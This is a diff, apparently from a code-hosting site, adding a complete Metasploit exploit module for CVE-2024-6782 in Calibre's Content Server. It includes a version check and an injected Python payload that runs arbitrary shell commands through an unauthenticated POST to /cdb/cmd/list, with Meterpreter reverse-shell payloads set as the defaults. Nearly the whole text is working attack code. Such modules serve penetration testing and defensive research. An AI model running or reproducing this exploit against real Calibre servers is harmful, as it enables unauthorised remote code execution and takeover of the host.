|
| 1 | +class MetasploitModule < Msf::Exploit::Remote |
| 2 | + Rank = ExcellentRanking |
| 3 | + include Msf::Exploit::Remote::HttpClient |
| 4 | + prepend Msf::Exploit::Remote::AutoCheck |
| 5 | + |
| 6 | + def initialize(info = {}) |
| 7 | + super( |
| 8 | + update_info( |
| 9 | + info, |
| 10 | + 'Name' => 'Calibre Python Code Injection (CVE-2024-6782)', |
| 11 | + 'Description' => %q{ |
| 12 | + This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed. |
| 13 | + }, |
| 14 | + 'License' => MSF_LICENSE, |
| 15 | + 'Author' => [ |
| 16 | + 'Amos Ng', # Discovery & PoC |
| 17 | + 'Michael Heinzl', # MSF exploit |
| 18 | + ], |
| 19 | + 'References' => [ |
| 20 | + [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'], |
| 21 | + [ 'CVE', '2024-6782'] |
| 22 | + ], |
| 23 | + 'DisclosureDate' => '2024-07-31', |
| 24 | + 'Platform' => ['win', 'linux', 'unix'], |
| 25 | + 'Arch' => [ ARCH_CMD ], |
| 26 | + |
| 27 | + 'Payload' => { |
| 28 | + 'BadChars' => '\\' |
| 29 | + }, |
| 30 | + |
| 31 | + 'Targets' => [ |
| 32 | + [ |
| 33 | + 'Windows_Fetch', |
| 34 | + { |
| 35 | + 'Arch' => [ ARCH_CMD ], |
| 36 | + 'Platform' => 'win', |
| 37 | + 'DefaultOptions' => { |
| 38 | + 'FETCH_COMMAND' => 'CURL', |
| 39 | + 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' |
| 40 | + }, |
| 41 | + 'Type' => :win_fetch |
| 42 | + } |
| 43 | + ], |
| 44 | + [ |
| 45 | + 'Linux Command', |
| 46 | + { |
| 47 | + 'Platform' => [ 'unix', 'linux' ], |
| 48 | + 'Arch' => ARCH_CMD, |
| 49 | + 'Type' => :nix_cmd, |
| 50 | + 'DefaultOptions' => { |
| 51 | + 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' |
| 52 | + } |
| 53 | + } |
| 54 | + ], |
| 55 | + |
| 56 | + ], |
| 57 | + 'DefaultTarget' => 0, |
| 58 | + |
| 59 | + 'Notes' => { |
| 60 | + 'Stability' => [CRASH_SAFE], |
| 61 | + 'Reliability' => [REPEATABLE_SESSION], |
| 62 | + 'SideEffects' => [IOC_IN_LOGS] |
| 63 | + } |
| 64 | + ) |
| 65 | + ) |
| 66 | + |
| 67 | + register_options( |
| 68 | + [ |
| 69 | + Opt::RPORT(8080) |
| 70 | + ] |
| 71 | + ) |
| 72 | + end |
| 73 | + |
| 74 | + def check |
| 75 | + begin |
| 76 | + res = send_request_cgi({ |
| 77 | + 'method' => 'GET', |
| 78 | + 'uri' => normalize_uri(target_uri.path) |
| 79 | + }) |
| 80 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 81 | + return CheckCode::Unknown |
| 82 | + end |
| 83 | + |
| 84 | + if res && res.code == 200 |
| 85 | + data = res.body.to_s |
| 86 | + pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/ |
| 87 | + |
| 88 | + version = data.match(pattern) |
| 89 | + |
| 90 | + if version[1].nil? |
| 91 | + return CheckCode::Unknown |
| 92 | + else |
| 93 | + vprint_status('Version retrieved: ' + version[1].to_s) |
| 94 | + end |
| 95 | + |
| 96 | + if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0')) |
| 97 | + return CheckCode::Appears |
| 98 | + else |
| 99 | + return CheckCode::Safe |
| 100 | + end |
| 101 | + else |
| 102 | + return CheckCode::Unknown |
| 103 | + end |
| 104 | + end |
| 105 | + |
| 106 | + def exploit |
| 107 | + execute_command(payload.encoded) |
| 108 | + end |
| 109 | + |
| 110 | + def execute_command(cmd) |
| 111 | + print_status('Sending payload...') |
| 112 | + exec_calibre(cmd) |
| 113 | + print_status('Exploit finished, check thy shell.') |
| 114 | + end |
| 115 | + |
| 116 | + def exec_calibre(cmd) |
| 117 | + payload = '['\ |
| 118 | + '["template"], '\ |
| 119 | + '"", '\ |
| 120 | + '"", '\ |
| 121 | + '"", '\ |
| 122 | + '1,'\ |
| 123 | + '"python:def evaluate(a, b):\\n '\ |
| 124 | + 'import subprocess\\n '\ |
| 125 | + 'try:\\n '\ |
| 126 | + "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\ |
| 127 | + 'except Exception:\\n '\ |
| 128 | + "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\ |
| 129 | + ']' |
| 130 | + |
| 131 | + res = send_request_cgi({ |
| 132 | + 'method' => 'POST', |
| 133 | + 'ctype' => 'application/json', |
| 134 | + 'data' => payload, |
| 135 | + 'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list') |
| 136 | + }) |
| 137 | + |
| 138 | + if res && res.code == 200 |
| 139 | + print_good('Command successfully executed, check your shell.') |
| 140 | + elsif res && res.code == 400 |
| 141 | + fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.') |
| 142 | + end |
| 143 | + end |
| 144 | + |
| 145 | +end |
0 commit comments